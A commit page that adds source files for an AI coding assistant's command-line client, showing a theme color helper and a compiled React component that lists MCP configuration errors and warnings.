starpacker52 commited on
Commit
ea7a2bb
·
verified ·
1 Parent(s): 49bb82b

Add files using upload-large-folder tool

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. src/components/design-system/color.ts +30 -0
  2. src/components/mcp/McpParsingWarnings.tsx +213 -0
  3. src/components/memory/MemoryFileSelector.tsx +438 -0
  4. src/components/messages/GroupedToolUseContent.tsx +58 -0
  5. src/components/messages/HookProgressMessage.tsx +116 -0
  6. src/components/messages/teamMemCollapsed.tsx +140 -0
  7. src/entrypoints/sdk/coreTypes.generated.ts +4 -0
  8. src/tools/AgentTool/AgentTool.tsx +0 -0
  9. src/tools/AgentTool/agentDisplay.ts +104 -0
  10. src/tools/AgentTool/agentMemory.ts +177 -0
  11. src/tools/AgentTool/agentMemorySnapshot.ts +197 -0
  12. src/tools/AgentTool/agentToolUtils.ts +686 -0
  13. src/tools/AskUserQuestionTool/prompt.ts +44 -0
  14. src/tools/BashTool/BashTool.tsx +0 -0
  15. src/tools/BashTool/BashToolResultMessage.tsx +191 -0
  16. src/tools/BashTool/bashCommandHelpers.ts +265 -0
  17. src/tools/BashTool/bashSecurity.ts +0 -0
  18. src/tools/BashTool/commentLabel.ts +13 -0
  19. src/tools/BashTool/destructiveCommandWarning.ts +102 -0
  20. src/tools/BashTool/modeValidation.ts +115 -0
  21. src/tools/BashTool/pathValidation.ts +1303 -0
  22. src/tools/BashTool/prompt.ts +369 -0
  23. src/tools/BashTool/readOnlyValidation.ts +1990 -0
  24. src/tools/BashTool/sedEditParser.ts +322 -0
  25. src/tools/BashTool/sedValidation.ts +684 -0
  26. src/tools/BashTool/shouldUseSandbox.ts +153 -0
  27. src/tools/BashTool/toolName.ts +2 -0
  28. src/tools/BashTool/utils.ts +223 -0
  29. src/tools/BriefTool/BriefTool.ts +204 -0
  30. src/tools/BriefTool/UI.tsx +101 -0
  31. src/tools/BriefTool/attachments.ts +110 -0
  32. src/tools/BriefTool/prompt.ts +22 -0
  33. src/tools/BriefTool/upload.ts +174 -0
  34. src/tools/ConfigTool/ConfigTool.ts +467 -0
  35. src/tools/ConfigTool/UI.tsx +38 -0
  36. src/tools/ConfigTool/constants.ts +1 -0
  37. src/tools/ConfigTool/prompt.ts +93 -0
  38. src/tools/ConfigTool/supportedSettings.ts +211 -0
  39. src/tools/EnterPlanModeTool/EnterPlanModeTool.ts +126 -0
  40. src/tools/EnterPlanModeTool/UI.tsx +33 -0
  41. src/tools/EnterPlanModeTool/constants.ts +1 -0
  42. src/tools/EnterPlanModeTool/prompt.ts +170 -0
  43. src/tools/EnterWorktreeTool/EnterWorktreeTool.ts +127 -0
  44. src/tools/EnterWorktreeTool/UI.tsx +20 -0
  45. src/tools/EnterWorktreeTool/constants.ts +1 -0
  46. src/tools/EnterWorktreeTool/prompt.ts +30 -0
  47. src/tools/ExitPlanModeTool/constants.ts +2 -0
  48. src/tools/ExitPlanModeTool/prompt.ts +29 -0
  49. src/tools/ExitWorktreeTool/ExitWorktreeTool.ts +329 -0
  50. src/tools/ExitWorktreeTool/UI.tsx +25 -0
src/components/design-system/color.ts ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { type ColorType, colorize } from '../../ink/colorize.js'
2
+ import type { Color } from '../../ink/styles.js'
3
+ import { getTheme, type Theme, type ThemeName } from '../../utils/theme.js'
4
+
5
+ /**
6
+ * Curried theme-aware color function. Resolves theme keys to raw color
7
+ * values before delegating to the ink renderer's colorize.
8
+ */
9
+ export function color(
10
+ c: keyof Theme | Color | undefined,
11
+ theme: ThemeName,
12
+ type: ColorType = 'foreground',
13
+ ): (text: string) => string {
14
+ return text => {
15
+ if (!c) {
16
+ return text
17
+ }
18
+ // Raw color values bypass theme lookup
19
+ if (
20
+ c.startsWith('rgb(') ||
21
+ c.startsWith('#') ||
22
+ c.startsWith('ansi256(') ||
23
+ c.startsWith('ansi:')
24
+ ) {
25
+ return colorize(text, c, type)
26
+ }
27
+ // Theme key lookup
28
+ return colorize(text, getTheme(theme)[c as keyof Theme], type)
29
+ }
30
+ }
src/components/mcp/McpParsingWarnings.tsx ADDED
@@ -0,0 +1,213 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { c as _c } from "react/compiler-runtime";
2
+ import React, { useMemo } from 'react';
3
+ import { getMcpConfigsByScope } from 'src/services/mcp/config.js';
4
+ import type { ConfigScope } from 'src/services/mcp/types.js';
5
+ import { describeMcpConfigFilePath, getScopeLabel } from 'src/services/mcp/utils.js';
6
+ import type { ValidationError } from 'src/utils/settings/validation.js';
7
+ import { Box, Link, Text } from '../../ink.js';
8
+ function McpConfigErrorSection(t0) {
9
+ const $ = _c(26);
10
+ const {
11
+ scope,
12
+ parsingErrors,
13
+ warnings
14
+ } = t0;
15
+ const hasErrors = parsingErrors.length > 0;
16
+ const hasWarnings = warnings.length > 0;
17
+ if (!hasErrors && !hasWarnings) {
18
+ return null;
19
+ }
20
+ let t1;
21
+ if ($[0] !== hasErrors || $[1] !== hasWarnings) {
22
+ t1 = (hasErrors || hasWarnings) && <Text color={hasErrors ? "error" : "warning"}>[{hasErrors ? "Failed to parse" : "Contains warnings"}]{" "}</Text>;
23
+ $[0] = hasErrors;
24
+ $[1] = hasWarnings;
25
+ $[2] = t1;
26
+ } else {
27
+ t1 = $[2];
28
+ }
29
+ let t2;
30
+ if ($[3] !== scope) {
31
+ t2 = getScopeLabel(scope);
32
+ $[3] = scope;
33
+ $[4] = t2;
34
+ } else {
35
+ t2 = $[4];
36
+ }
37
+ let t3;
38
+ if ($[5] !== t2) {
39
+ t3 = <Text>{t2}</Text>;
40
+ $[5] = t2;
41
+ $[6] = t3;
42
+ } else {
43
+ t3 = $[6];
44
+ }
45
+ let t4;
46
+ if ($[7] !== t1 || $[8] !== t3) {
47
+ t4 = <Box>{t1}{t3}</Box>;
48
+ $[7] = t1;
49
+ $[8] = t3;
50
+ $[9] = t4;
51
+ } else {
52
+ t4 = $[9];
53
+ }
54
+ let t5;
55
+ if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
56
+ t5 = <Text dimColor={true}>Location: </Text>;
57
+ $[10] = t5;
58
+ } else {
59
+ t5 = $[10];
60
+ }
61
+ let t6;
62
+ if ($[11] !== scope) {
63
+ t6 = describeMcpConfigFilePath(scope);
64
+ $[11] = scope;
65
+ $[12] = t6;
66
+ } else {
67
+ t6 = $[12];
68
+ }
69
+ let t7;
70
+ if ($[13] !== t6) {
71
+ t7 = <Box>{t5}<Text dimColor={true}>{t6}</Text></Box>;
72
+ $[13] = t6;
73
+ $[14] = t7;
74
+ } else {
75
+ t7 = $[14];
76
+ }
77
+ let t8;
78
+ if ($[15] !== parsingErrors) {
79
+ t8 = parsingErrors.map(_temp);
80
+ $[15] = parsingErrors;
81
+ $[16] = t8;
82
+ } else {
83
+ t8 = $[16];
84
+ }
85
+ let t9;
86
+ if ($[17] !== warnings) {
87
+ t9 = warnings.map(_temp2);
88
+ $[17] = warnings;
89
+ $[18] = t9;
90
+ } else {
91
+ t9 = $[18];
92
+ }
93
+ let t10;
94
+ if ($[19] !== t8 || $[20] !== t9) {
95
+ t10 = <Box marginLeft={1} flexDirection="column">{t8}{t9}</Box>;
96
+ $[19] = t8;
97
+ $[20] = t9;
98
+ $[21] = t10;
99
+ } else {
100
+ t10 = $[21];
101
+ }
102
+ let t11;
103
+ if ($[22] !== t10 || $[23] !== t4 || $[24] !== t7) {
104
+ t11 = <Box flexDirection="column" marginTop={1}>{t4}{t7}{t10}</Box>;
105
+ $[22] = t10;
106
+ $[23] = t4;
107
+ $[24] = t7;
108
+ $[25] = t11;
109
+ } else {
110
+ t11 = $[25];
111
+ }
112
+ return t11;
113
+ }
114
+ function _temp2(warning, i_0) {
115
+ const serverName_0 = warning.mcpErrorMetadata?.serverName;
116
+ return <Box key={`warning-${i_0}`}><Text><Text dimColor={true}>└ </Text><Text color="warning">[Warning]</Text><Text dimColor={true}>{" "}{serverName_0 && `[${serverName_0}] `}{warning.path && warning.path !== "" ? `${warning.path}: ` : ""}{warning.message}</Text></Text></Box>;
117
+ }
118
+ function _temp(error, i) {
119
+ const serverName = error.mcpErrorMetadata?.serverName;
120
+ return <Box key={`error-${i}`}><Text><Text dimColor={true}>└ </Text><Text color="error">[Error]</Text><Text dimColor={true}>{" "}{serverName && `[${serverName}] `}{error.path && error.path !== "" ? `${error.path}: ` : ""}{error.message}</Text></Text></Box>;
121
+ }
122
+ export function McpParsingWarnings() {
123
+ const $ = _c(6);
124
+ let t0;
125
+ if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
126
+ t0 = {
127
+ scope: "user",
128
+ config: getMcpConfigsByScope("user")
129
+ };
130
+ $[0] = t0;
131
+ } else {
132
+ t0 = $[0];
133
+ }
134
+ let t1;
135
+ if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
136
+ t1 = {
137
+ scope: "project",
138
+ config: getMcpConfigsByScope("project")
139
+ };
140
+ $[1] = t1;
141
+ } else {
142
+ t1 = $[1];
143
+ }
144
+ let t2;
145
+ if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
146
+ t2 = {
147
+ scope: "local",
148
+ config: getMcpConfigsByScope("local")
149
+ };
150
+ $[2] = t2;
151
+ } else {
152
+ t2 = $[2];
153
+ }
154
+ let t3;
155
+ if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
156
+ t3 = [t0, t1, t2, {
157
+ scope: "enterprise",
158
+ config: getMcpConfigsByScope("enterprise")
159
+ }];
160
+ $[3] = t3;
161
+ } else {
162
+ t3 = $[3];
163
+ }
164
+ const scopes = t3 satisfies Array<{
165
+ scope: ConfigScope;
166
+ config: {
167
+ errors: ValidationError[];
168
+ };
169
+ }>;
170
+ const hasParsingErrors = scopes.some(_temp3);
171
+ const hasWarnings = scopes.some(_temp4);
172
+ if (!hasParsingErrors && !hasWarnings) {
173
+ return null;
174
+ }
175
+ let t4;
176
+ if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
177
+ t4 = <Text bold={true}>MCP Config Diagnostics</Text>;
178
+ $[4] = t4;
179
+ } else {
180
+ t4 = $[4];
181
+ }
182
+ let t5;
183
+ if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
184
+ t5 = <Box flexDirection="column" marginTop={1} marginBottom={1}>{t4}<Box marginTop={1}><Text dimColor={true}>For help configuring MCP servers, see:{" "}<Link url="https://code.claude.com/docs/en/mcp">https://code.claude.com/docs/en/mcp</Link></Text></Box>{scopes.map(_temp5)}</Box>;
185
+ $[5] = t5;
186
+ } else {
187
+ t5 = $[5];
188
+ }
189
+ return t5;
190
+ }
191
+ function _temp5(t0) {
192
+ const {
193
+ scope,
194
+ config: config_1
195
+ } = t0;
196
+ return <McpConfigErrorSection key={scope} scope={scope} parsingErrors={filterErrors(config_1.errors, "fatal")} warnings={filterErrors(config_1.errors, "warning")} />;
197
+ }
198
+ function _temp4(t0) {
199
+ const {
200
+ config: config_0
201
+ } = t0;
202
+ return filterErrors(config_0.errors, "warning").length > 0;
203
+ }
204
+ function _temp3(t0) {
205
+ const {
206
+ config
207
+ } = t0;
208
+ return filterErrors(config.errors, "fatal").length > 0;
209
+ }
210
+ function filterErrors(errors: ValidationError[], severity: 'fatal' | 'warning'): ValidationError[] {
211
+ return errors.filter(e => e.mcpErrorMetadata?.severity === severity);
212
+ }
213
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZU1lbW8iLCJnZXRNY3BDb25maWdzQnlTY29wZSIsIkNvbmZpZ1Njb3BlIiwiZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aCIsImdldFNjb3BlTGFiZWwiLCJWYWxpZGF0aW9uRXJyb3IiLCJCb3giLCJMaW5rIiwiVGV4dCIsIk1jcENvbmZpZ0Vycm9yU2VjdGlvbiIsInQwIiwiJCIsIl9jIiwic2NvcGUiLCJwYXJzaW5nRXJyb3JzIiwid2FybmluZ3MiLCJoYXNFcnJvcnMiLCJsZW5ndGgiLCJoYXNXYXJuaW5ncyIsInQxIiwidDIiLCJ0MyIsInQ0IiwidDUiLCJTeW1ib2wiLCJmb3IiLCJ0NiIsInQ3IiwidDgiLCJtYXAiLCJfdGVtcCIsInQ5IiwiX3RlbXAyIiwidDEwIiwidDExIiwid2FybmluZyIsImlfMCIsInNlcnZlck5hbWVfMCIsIm1jcEVycm9yTWV0YWRhdGEiLCJzZXJ2ZXJOYW1lIiwiaSIsInBhdGgiLCJtZXNzYWdlIiwiZXJyb3IiLCJNY3BQYXJzaW5nV2FybmluZ3MiLCJjb25maWciLCJzY29wZXMiLCJBcnJheSIsImVycm9ycyIsImhhc1BhcnNpbmdFcnJvcnMiLCJzb21lIiwiX3RlbXAzIiwiX3RlbXA0IiwiX3RlbXA1IiwiY29uZmlnXzEiLCJmaWx0ZXJFcnJvcnMiLCJjb25maWdfMCIsInNldmVyaXR5IiwiZmlsdGVyIiwiZSJdLCJzb3VyY2VzIjpbIk1jcFBhcnNpbmdXYXJuaW5ncy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHVzZU1lbW8gfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IGdldE1jcENvbmZpZ3NCeVNjb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC9jb25maWcuanMnXG5pbXBvcnQgdHlwZSB7IENvbmZpZ1Njb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC90eXBlcy5qcydcbmltcG9ydCB7XG4gIGRlc2NyaWJlTWNwQ29uZmlnRmlsZVBhdGgsXG4gIGdldFNjb3BlTGFiZWwsXG59IGZyb20gJ3NyYy9zZXJ2aWNlcy9tY3AvdXRpbHMuanMnXG5pbXBvcnQgdHlwZSB7IFZhbGlkYXRpb25FcnJvciB9IGZyb20gJ3NyYy91dGlscy9zZXR0aW5ncy92YWxpZGF0aW9uLmpzJ1xuaW1wb3J0IHsgQm94LCBMaW5rLCBUZXh0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuXG5mdW5jdGlvbiBNY3BDb25maWdFcnJvclNlY3Rpb24oe1xuICBzY29wZSxcbiAgcGFyc2luZ0Vycm9ycyxcbiAgd2FybmluZ3MsXG59OiB7XG4gIHNjb3BlOiBDb25maWdTY29wZVxuICBwYXJzaW5nRXJyb3JzOiBWYWxpZGF0aW9uRXJyb3JbXVxuICB3YXJuaW5nczogVmFsaWRhdGlvbkVycm9yW11cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNFcnJvcnMgPSBwYXJzaW5nRXJyb3JzLmxlbmd0aCA+IDBcbiAgY29uc3QgaGFzV2FybmluZ3MgPSB3YXJuaW5ncy5sZW5ndGggPiAwXG5cbiAgaWYgKCFoYXNFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3g+XG4gICAgICAgIHsoaGFzRXJyb3JzIHx8IGhhc1dhcm5pbmdzKSAmJiAoXG4gICAgICAgICAgPFRleHQgY29sb3I9e2hhc0Vycm9ycyA/ICdlcnJvcicgOiAnd2FybmluZyd9PlxuICAgICAgICAgICAgW3toYXNFcnJvcnMgPyAnRmFpbGVkIHRvIHBhcnNlJyA6ICdDb250YWlucyB3YXJuaW5ncyd9XXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICApfVxuICAgICAgICA8VGV4dD57Z2V0U2NvcGVMYWJlbChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5Mb2NhdGlvbjogPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57ZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94IG1hcmdpbkxlZnQ9ezF9IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge3BhcnNpbmdFcnJvcnMubWFwKChlcnJvciwgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSBlcnJvci5tY3BFcnJvck1ldGFkYXRhPy5zZXJ2ZXJOYW1lXG4gICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgIDxCb3gga2V5PXtgZXJyb3ItJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5bRXJyb3JdPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICAgIHtzZXJ2ZXJOYW1lICYmIGBbJHtzZXJ2ZXJOYW1lfV0gYH1cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5wYXRoICYmIGVycm9yLnBhdGggIT09ICcnID8gYCR7ZXJyb3IucGF0aH06IGAgOiAnJ31cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgICAge3dhcm5pbmdzLm1hcCgod2FybmluZywgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSB3YXJuaW5nLm1jcEVycm9yTWV0YWRhdGE/LnNlcnZlck5hbWVcblxuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8Qm94IGtleT17YHdhcm5pbmctJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPltXYXJuaW5nXTwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgIHsnICd9XG4gICAgICAgICAgICAgICAgICB7c2VydmVyTmFtZSAmJiBgWyR7c2VydmVyTmFtZX1dIGB9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5wYXRoICYmIHdhcm5pbmcucGF0aCAhPT0gJydcbiAgICAgICAgICAgICAgICAgICAgPyBgJHt3YXJuaW5nLnBhdGh9OiBgXG4gICAgICAgICAgICAgICAgICAgIDogJyd9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgIDwvQm94PlxuICAgIDwvQm94PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBNY3BQYXJzaW5nV2FybmluZ3MoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gQ29uZmlnIGZpbGVzIGRvbid0IGNoYW5nZSBkdXJpbmcgZGlhbG9nIGxpZmV0aW1lOyByZWFkIG9uY2Ugb24gbW91bnRcbiAgLy8gdG8gYXZvaWQgYmxvY2tpbmcgZmlsZSBJTyBvbiBldmVyeSByZS1yZW5kZXIuXG4gIGNvbnN0IHNjb3BlcyA9IHVzZU1lbW8oXG4gICAgKCkgPT5cbiAgICAgIFtcbiAgICAgICAgeyBzY29wZTogJ3VzZXInLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCd1c2VyJykgfSxcbiAgICAgICAgeyBzY29wZTogJ3Byb2plY3QnLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCdwcm9qZWN0JykgfSxcbiAgICAgICAgeyBzY29wZTogJ2xvY2FsJywgY29uZmlnOiBnZXRNY3BDb25maWdzQnlTY29wZSgnbG9jYWwnKSB9LFxuICAgICAgICB7IHNjb3BlOiAnZW50ZXJwcmlzZScsIGNvbmZpZzogZ2V0TWNwQ29uZmlnc0J5U2NvcGUoJ2VudGVycHJpc2UnKSB9LFxuICAgICAgXSBzYXRpc2ZpZXMgQXJyYXk8e1xuICAgICAgICBzY29wZTogQ29uZmlnU2NvcGVcbiAgICAgICAgY29uZmlnOiB7IGVycm9yczogVmFsaWRhdGlvbkVycm9yW10gfVxuICAgICAgfT4sXG4gICAgW10sXG4gIClcblxuICBjb25zdCBoYXNQYXJzaW5nRXJyb3JzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnZmF0YWwnKS5sZW5ndGggPiAwLFxuICApXG4gIGNvbnN0IGhhc1dhcm5pbmdzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnd2FybmluZycpLmxlbmd0aCA+IDAsXG4gIClcblxuICBpZiAoIWhhc1BhcnNpbmdFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfSBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgPFRleHQgYm9sZD5NQ1AgQ29uZmlnIERpYWdub3N0aWNzPC9UZXh0PlxuICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBGb3IgaGVscCBjb25maWd1cmluZyBNQ1Agc2VydmVycywgc2VlOnsnICd9XG4gICAgICAgICAgPExpbmsgdXJsPVwiaHR0cHM6Ly9jb2RlLmNsYXVkZS5jb20vZG9jcy9lbi9tY3BcIj5cbiAgICAgICAgICAgIGh0dHBzOi8vY29kZS5jbGF1ZGUuY29tL2RvY3MvZW4vbWNwXG4gICAgICAgICAgPC9MaW5rPlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIHtzY29wZXMubWFwKCh7IHNjb3BlLCBjb25maWcgfSkgPT4gKFxuICAgICAgICA8TWNwQ29uZmlnRXJyb3JTZWN0aW9uXG4gICAgICAgICAga2V5PXtzY29wZX1cbiAgICAgICAgICBzY29wZT17c2NvcGV9XG4gICAgICAgICAgcGFyc2luZ0Vycm9ycz17ZmlsdGVyRXJyb3JzKGNvbmZpZy5lcnJvcnMsICdmYXRhbCcpfVxuICAgICAgICAgIHdhcm5pbmdzPXtmaWx0ZXJFcnJvcnMoY29uZmlnLmVycm9ycywgJ3dhcm5pbmcnKX1cbiAgICAgICAgLz5cbiAgICAgICkpfVxuICAgICAgey8qIFRPRE86IEFkZCBhZGRpdGlvbmFsIGRpYWdub3N0aWMgc2VjdGlvbnM6XG4gICAgICAgKiAtIER1cGxpY2F0ZSBTZXJ2ZXIgTmFtZXMgKGNoZWNrIGZvciBzZXJ2ZXJzIHdpdGggc2FtZSBuYW1lIGFjcm9zcyBzY29wZXMpXG4gICAgICAgKiBUaGlzIHNlY3Rpb24gc2hvdWxkIGluY2x1ZGU6XG4gICAgICAgKiAtIEZpbGUgcGF0aHMgd2hlcmUgZWFjaCBzZXJ2ZXIgaXMgZGVmaW5lZFxuICAgICAgICogLSBNb3JlIGRldGFpbGVkIGxvY2F0aW9uIGluZm8gZm9yIHVzZXIvbG9jYWwgc2NvcGVzXG4gICAgICAgKiAtIEFwcHJvdmVkIC8gZGlzYWJsZWQgc3RhdHVzIG9mIHNlcnZlcnNcbiAgICAgICAqL31cbiAgICA8L0JveD5cbiAgKVxufVxuXG5mdW5jdGlvbiBmaWx0ZXJFcnJvcnMoXG4gIGVycm9yczogVmFsaWRhdGlvbkVycm9yW10sXG4gIHNldmVyaXR5OiAnZmF0YWwnIHwgJ3dhcm5pbmcnLFxuKTogVmFsaWRhdGlvbkVycm9yW10ge1xuICByZXR1cm4gZXJyb3JzLmZpbHRlcihlID0+IGUubWNwRXJyb3JNZXRhZGF0YT8uc2V2ZXJpdHkgPT09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